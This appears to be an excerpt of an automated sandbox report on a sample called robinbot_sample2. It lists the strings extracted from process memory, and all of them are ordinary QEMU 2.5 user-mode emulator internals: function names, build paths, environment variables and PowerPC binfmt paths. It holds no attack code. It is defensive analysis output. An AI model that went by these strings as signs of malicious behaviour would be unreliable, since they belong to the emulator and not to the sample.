Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu: uncaught target signal %d (%s) - %s
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: QEMU_UNAME
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: QEMU_RESERVED_VA
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_init_vcpu
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_strtosz_suffix_unit
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: uleb128_encode_smallqemu_strtosz_suffix_unitbuffer_is_zerobuffer_find_nonzero_offset/build/qemu-tYeErX/qemu-2.5+dfsg/util/cutils.ccan_use_buffer_find_nonzero_offset(buf, len)len % (4 * sizeof(long)) == 0mul >= 0n <= 0x3fffwarning: %s not in [0, %d]
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/linux-user/syscall.c%s%08x%08x%04x%d%d%d%08x%d%u%u
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/linux-user/signal.csegfaulting from do_sigreturn
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_ld_i64
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: QEMU_SET_ENV=var1=val2,var2=val2 QEMU_UNSET_ENV=LD_PRELOAD,LD_DEBUG
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: BlockdevOptionsGenericCOWFormatACPI_DEVICE_OSTqovqapi-event.cobj != NULLBALLOON_CHANGEBLOCK_IMAGE_CORRUPTEDfatalBLOCK_IO_ERRORreasonBLOCK_JOB_CANCELLEDBLOCK_JOB_COMPLETEDBLOCK_JOB_ERRORBLOCK_JOB_READYBLOCK_WRITE_THRESHOLDamount-exceededwrite-thresholdDEVICE_DELETEDDEVICE_TRAY_MOVEDtray-openGUEST_PANICKEDMEM_UNPLUG_ERRORMIGRATIONNIC_RX_FILTER_CHANGEDPOWERDOWNQUORUM_FAILUREsector-numsectors-countQUORUM_REPORT_BADRTC_CHANGESHUTDOWNSPICE_CONNECTEDSPICE_DISCONNECTEDSPICE_INITIALIZEDSPICE_MIGRATE_COMPLETEDSUSPEND_DISKVNC_CONNECTEDVNC_DISCONNECTEDVNC_INITIALIZEDVSERPORT_CHANGEWAKEUPWATCHDOGqapi_event_send_watchdogqapi_event_send_vserport_changeqapi_event_send_vnc_initializedqapi_event_send_vnc_disconnectedqapi_event_send_vnc_connectedqapi_event_send_spice_initializedqapi_event_send_spice_disconnectedqapi_event_send_spice_connectedqapi_event_send_rtc_changeqapi_event_send_quorum_report_badqapi_event_send_quorum_failureqapi_event_send_nic_rx_filter_changedqapi_event_send_migrationqapi_event_send_mem_unplug_errorqapi_event_send_guest_panickedqapi_event_send_device_tray_movedqapi_event_send_device_deletedqapi_event_send_block_write_thresholdqapi_event_send_block_job_readyqapi_event_send_block_job_errorqapi_event_send_block_job_completedqapi_event_send_block_job_cancelledqapi_event_send_block_io_errorqapi_event_send_block_image_corruptedqapi_event_send_balloon_changeqobject_decrefqapi_event_send_acpi_device_ostuint8_tuint16_tuint32_tstringsInvalid parameter '%s'/build/qemu-tYeErX/qemu-2.5+dfsg/qapi/qapi-visit-core.cinput_type_enuminput_type_enumoutput_type_enumoutput_type_enumvisit_type_int32visit_type_int16visit_type_int8visit_type_uint32visit_type_uint16visit_type_uint8/build/qemu-tYeErX/qemu-2.5+dfsg/qapi/qapi-dealloc-visitor.cobj == NULLqapi_dealloc_end_listqobject_decref/build/qemu-tYeErX/qemu-2.5+dfsg/qapi/qmp-input-visitor.cQMP input object member '%s' is unexpectedParameter '%s' is missingintegerqiv->nb_stack > 0An internal buffer overranQDictqmp_input_pushqmp_input_start_structqmp_input_start_listqmp_input_popqmp_input_popqmp_input_type_intqmp_input_type_boolqmp_input_type_strqmp_input_type_numberqobject_typeqmp_input_get_next_typeqobject_decref/build/qemu-tYeErX/qemu-2.5+dfsg/qapi/qmp-output-visitor.cqmp_output_next_listqobject_typeqobject_decrefyestruean int64 value or range/build/qemu-tYeErX/qemu-2.5+dfsg/qapi/string-input-visitor.cparse_type_intparse_type_sizeparse_type_boolparse_type_strparse_type_number%f"%s"<null>sov->list_mode == LM_NONEiBi < ARRAY_SIZE(suffixes)%lu (%0.3g %c%s)0x%lx-0x%lx%ld-%ld/build/qemu-tYeErX/qemu-2.5+dfsg/qapi/string-output-visitor.csov->list_mode == LM_STARTED \|\| sov->list_mode == LM_END \|\| sov->list_mode == LM_NONE \|\| sov->list_mode == LM_IN_PROGRESSsov->range_start.s < sov->range_end.sprint_type_intBKMGTPEprint_type_sizestart_listend_list@
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/user-exec.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_%s_%s_%d.core
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/exec.cqemu: fatal: cpu_exec_init/build/qemu-tYeErX/qemu-2.5+dfsg/translate-all.cInternal error: code buffer overflow
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: cpu_write_elf32_qemunote
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: QEMU_STRACEQEMU_RAND_SEED/proc/sys/vm/mmap_min_addr%luhost mmap_min_addr=0x%lx
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/util/error.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_memalign
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_strtoll
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opt_get_number_del
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: QEMU_UNSET_ENV environment variables to set and unset
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opts_absorb_qdict
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/tcg/tcg-op.cUnrecognized operation %d in do_constant_folding.
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opts_set
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: h2g_valid(&rt_sf->uc.tuc_mcontext)setup_framesetup_rt_framedo_setcontextdo_sigprocmaskVFS: argc is wrong%Y%m%d-%H%M%Sqemu_%s_%s_%d.coreCOREunable to dump %08x
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_get_cpu
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: tcg_gen_qemu_st_i32
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/linux-user/syscall.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/qobject/json-lexer.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: %s/qemu-open.XXXXXX
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opts_loc_restore
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opts_foreach
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: Attempt QEMU to crash very soon !
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opts_validate
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/thunk.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: h2g_valid(trampptr)h2g_valid(&rt_sf->info)h2g_valid(&rt_sf->uc)h2g_valid(rt_sf)h2g_valid(&frame->mctx)h2g_valid(frame->mctx.mc_pad)qemu: uncaught target signal %d (%s) - %s
Source: robinbot_sample2, 9446.1.00007fff798fa000.00007fff7991b000.rw-.sdmp, robinbot_sample2, 9457.1.00007fff798fa000.00007fff7991b000.rw-.sdmp, robinbot_sample2, 9459.1.00007fff798fa000.00007fff7991b000.rw-.sdmp	Binary or memory string: qemu-binfmt/ppc
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opt_get
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: module_load_file/build/qemu-tYeErX/qemu-2.5+dfsg/util/error.cUnexpected error in %s() at %s:%d:
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: QEMU_CPU
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opts_set_id
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/crypto/aes.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_write_full
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/linux-user/signal.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_madvise
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: cpu_common_initfncpu_common_parse_featurescpu_common_resetcpu_common_get_memory_mappingcpu_class_initcpu_class_by_namecpu_resetcpu_dump_statisticscpu_dump_statecpu_write_elf64_notecpu_write_elf64_qemunotecpu_write_elf32_notecpu_write_elf32_qemunotecpu_get_memory_mappingcpu_paging_enabledcpu_generic_initcpu_existsRegistering `%s' which already exists
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_loglevel
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/exec.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_strtoul
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_logfile
Source: robinbot_sample2, 9457.1.00007fff798fa000.00007fff7991b000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_cond_signal
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_fdatasync
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opts_do_parse
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_event_init
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opt_get_number
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: QEMU_LOG_FILENAME
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: host_start \|\| host_sizeMultiple PT_INTERP entriesInvalid PT_INTERP entrycannot mmap brkmmap stack/usr/lib/libc.so.1/usr/lib/ld.so.1sp_auxv - sp == sizeunable to get current timestamp: %s/build/qemu-tYeErX/qemu-2.5+dfsg/linux-user/elfload.cReserved 0x%lx bytes of guest address space
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_get_thread_id
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/qom/object_interfaces.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/gdbstub.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_set_block
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_read_password
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_thread_atexit_add
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: tcg_gen_qemu_ld_i32
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /usr/lib/x86_64-linux-gnu/qemu/build/qemu-tYeErX/qemu-2.5+dfsg/util/module.cqemu_stamp_bb41a07c541f07aa6886cb62996d065ebf1fe025Failed to initialize module: %s
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_sem_init
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_get_local_state_pathname
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_ram_mmap
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_fork
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_irq_intercept_in
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/qobject/qnull.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/util/oslib-posix.cos_mem_prealloc: failed to install signal handleros_mem_prealloc: Insufficient free host memory pages available to allocate guest RAM
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_set_nonblock
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_get_exec_dir
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: set qemu uname release string to 'uname'
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu: unknown option '%s'
Source: robinbot_sample2, 9446.1.00007fff798fa000.00007fff7991b000.rw-.sdmp, robinbot_sample2, 9459.1.00007fff798fa000.00007fff7991b000.rw-.sdmp	Binary or memory string: etc/qemu-binfmt/ppc
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: QEMU_STACK_SIZE = %ld byte
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_sem_wait
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: QEMU_RAND_SEED
